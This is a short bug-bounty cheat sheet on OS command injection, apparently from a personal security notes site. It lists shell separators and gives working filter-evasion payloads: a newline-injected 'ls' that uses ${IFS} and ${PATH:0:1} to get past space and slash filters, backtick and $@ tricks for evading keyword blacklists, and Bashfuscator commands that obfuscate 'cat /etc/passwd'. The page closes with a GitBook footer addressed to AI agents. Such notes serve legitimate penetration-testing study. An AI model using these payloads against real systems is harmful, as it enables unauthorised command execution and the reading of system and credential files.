> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/bug-bounty/command-injection.md).

# Command Injection

## Basic Command Injection&#x20;

```python
;      # semi colon
\n     # New Line %0a
&      # background
|      # pipe
&&     # AND
||     # OR
``     # Sub Shell (backticks)
$()    # Sub-Shell
```

## Advanced Command Injection

### When Space,and paths(/etc/passwd, /, /home ) are not Allowed

```python
# %0a is new line
# ls will list the file
# ${IFS} when space is blacklisted
# ${PATH:0:1} it will grab / from path variables

ip=127.0.0.150%0als${IFS}${PATH:0:1} 

# Final Command Becomes

127.0.0.1
ls /

```

<figure><img src="/files/tYzinX1ufgD60BDpD7ZN" alt=""><figcaption></figcaption></figure>

## Bypassing Blacklists(whoami,pwd,ls,cat)

```python
who$@ami
w`h`o`a`mi  # should be even
```

## Automated Obfuscation Tool for Command Injection

### BashFuscator

{% embed url="<https://github.com/Bashfuscator/Bashfuscator>" %}

we can use this tool to obfuscate our command

```python
bashfuscator -c "cat /etc/passwd"
```

<figure><img src="/files/qOqETTuRLM9wsLctlKAL" alt=""><figcaption></figcaption></figure>

it will give very huge payload, to make it short we can use below command

```python
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
```

<figure><img src="/files/mZI0wTzb3q46rGA97Qf9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.programmersecurity.com/bug-bounty/command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
